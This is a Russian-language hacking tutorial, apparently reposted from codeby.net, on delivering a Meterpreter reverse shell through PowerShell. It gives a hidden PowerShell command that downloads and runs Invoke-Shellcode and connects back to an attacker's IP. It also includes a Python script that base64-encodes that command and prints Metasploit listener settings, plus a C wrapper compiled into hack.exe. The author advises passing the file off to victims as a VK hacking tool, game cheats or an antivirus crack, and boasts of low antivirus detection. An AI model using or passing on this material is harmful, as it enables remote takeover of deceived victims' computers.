Powershell для хакера (часть II )

Powershell для хакера (часть II )

@webware

t.me/webware

Часть 2​

Приветствую вас колеги)


В прошлой статье мы научились использовать скрипты от PowerSploit для получение метерпретер сессии.

Но вынудить жертву открыть командную строку и вставить всю строку для PowerShell как вы поняли не очень легко,правда соц.инженерия делает чудеса,но все же попробуем упростить как можно больше этот процесс,процесс доставление до жертвы полезной нагрузки.


Этим мы сегодня и займемся.

Как по мне самый лучший способ доставлять жертве малварь в виде какого нибудь бинарника под предлогом какой то шары,толи это будет программа для взлома вк,толи читы на танки,толи кряк на антивирус - решать и фантазировать вам.


Давайте вспомним из прошлой статьи нашу команду для PowerShell-а:

Powershell.exe -NoP -NonI -W Hidden -Exec Bypass IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.137.137 -Lport 1337 -Force

Посмотрев на нее - мы можем заметить много спецсимволов,таких как кавычки,скобки,точка с запятой и т.д... Имхо такой вид не самый приемлемый как по мне.

По этому я накидал простенький скриптец который генерирует нам такую строку с base64 кодировкой и сразу же на вывод выведет нам команды для создание листенера в метасплоите.


Вот сюда я запостил если что:

https://codeby.net/forum/threads/vashi-programmy-na-python.58124/#post-266525

Или могу прям сюда разшарить свой скриптец:

#!/usr/bin/python2.7
# -*- coding: utf-8 -*-

import re
import base64
from termcolor import colored

def banner():
    print colored("""
===============================================================================

#####                          #######           #     #                  
#     #  ####  #####  #####     #     # ######    #     #   ##    ####  #    #
#       #    # #    # #    #    #     # #         #     #  #  #  #    # #   #
#       #    # #    # #    #    #     # #####     ####### #    # #      ####
#       #    # #####  #####     #     # #         #     # ###### #      #  #
#     # #    # #   #  #         #     # #         #     # #    # #    # #   #
#####   ####  #    # #         ####### #         #     # #    #  ####  #    #
                                                                           
           ____                             __  __      _        
          |  _ \ _____      _____ _ __     |  \/  | ___| |_ ___ _ __
          | |_) / _ \ \ /\ / / _ \ '__|____| |\/| |/ _ \ __/ _ \ '__|
          |  __/ (_) \ V  V /  __/ | |_____| |  | |  __/ ||  __/ |
          |_|   \___/ \_/\_/ \___|_|       |_|  |_|\___|\__\___|_|
                                                                 

Powershell_Meter script  is a PowerShell Command Generator.
Written by [Mister Bert0ni|DarkNode] <Corp Of Hack Team><Grey Team> <CodeBy Team>
[[Contacts]] ::: <https://new.vk.com/byhackers>
[[My Docs]] ::: <https://codeby.net/forum/tags/darknode-tutorial/>
[[YouTube]]  ::: <https://www.youtube.com/c/CorpOfHack>
===============================================================================
""","cyan")
 
def powershell_encode(data):
    # blank command will store our fixed unicode variable
    blank_command = ""
    powershell_command = ""
    # Remove weird chars that could have been added by ISE
    n = re.compile(u'(\xef|\xbb|\xbf)')
    # loop through each character and insert null byte
    for char in (n.sub("", data)):
        # insert the nullbyte
        blank_command += char + "\x00"
    # assign powershell command as the new one
    powershell_command = blank_command
    # base64 encode the powershell command
    powershell_command = base64.b64encode(powershell_command)
    return powershell_command

def metasploit():
    print colored("[*]PowerShell генератор для Metasploit-Framework с ипользованиевм PowerSploit.","yellow")
    print colored("Оригинал можно взять здесь:","green")+ colored("https://raw.github.com/mattifestation/PowerSploit/master/CodeExecution/Invoke-Shellcode.ps1\n\n","cyan")
    ans_lhost = raw_input("Введите IP адрес атакующей машины(LHOST): ")
    ans_lport = raw_input("Введите Порт листенера атакуещей машины(LPORT): ")
 
    print colored("\n[*]Наша команда для PowerShell:","yellow")
    x = powershell_encode("IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost "+ans_lhost+" -Lport "+ans_lport+" -Force")
    print colored("powershell.exe -NoP -NonI -W Hidden -Exec Bypass -enc " + x,"red")
    print colored("\n[*]Команды для metasploit-framework(Вы можете сохранить эту последовательность команд в файл listener.rc и запустить msfconsole -r listener.rc или же прямо из запущеной консоли метаслоита: resourse listener.rc","yellow")
    print colored("use multi/handler \nset payload windows/meterpreter/reverse_https \nset LHOST " + ans_lhost + "\nset LPORT " + ans_lport + "\nset ExitOnSession false \nexploit -j","green")

banner()
metasploit()

Этот скрипт нас сгенерирует нужную строку.

Затем нам нужно впихнуть ее в бинарних. И хотелось бы конечно что бы он не детектился антивирусами) По дефолту он у меня показал 2/35.

Весьма не плохо как по мне) Ну а у кого параноя насчет фулл андетекта,то скажу что вероятность использования двух малоизвестных антивирусов, которые обнаружили малварь, не очень велика

Давайте соберем бинарник. Делается это очень просто:

Просто создадим соурс код на СИ (с) со следующим содержимым:

#include <stdlib.h>

int main() {
    system("Наша_Команда_PowerShell_Тута...");
        return 0;
}

Соответственно где "Наша_Команда_PowerShell_Тута..." - копипастим нашу строку которую вернул нам наш скрипт.

Компилируем в exe файл командой:

i686-w64-mingw32-gcc -o hack.exe ~/test.c

Тестируем:

WindowsDefender не ругается, сессия прилетает. Давайте прогоним на детект антивирусами:


Вроде неплохо)

Всем спасибо) Продолжение следует)

Источник codeby.net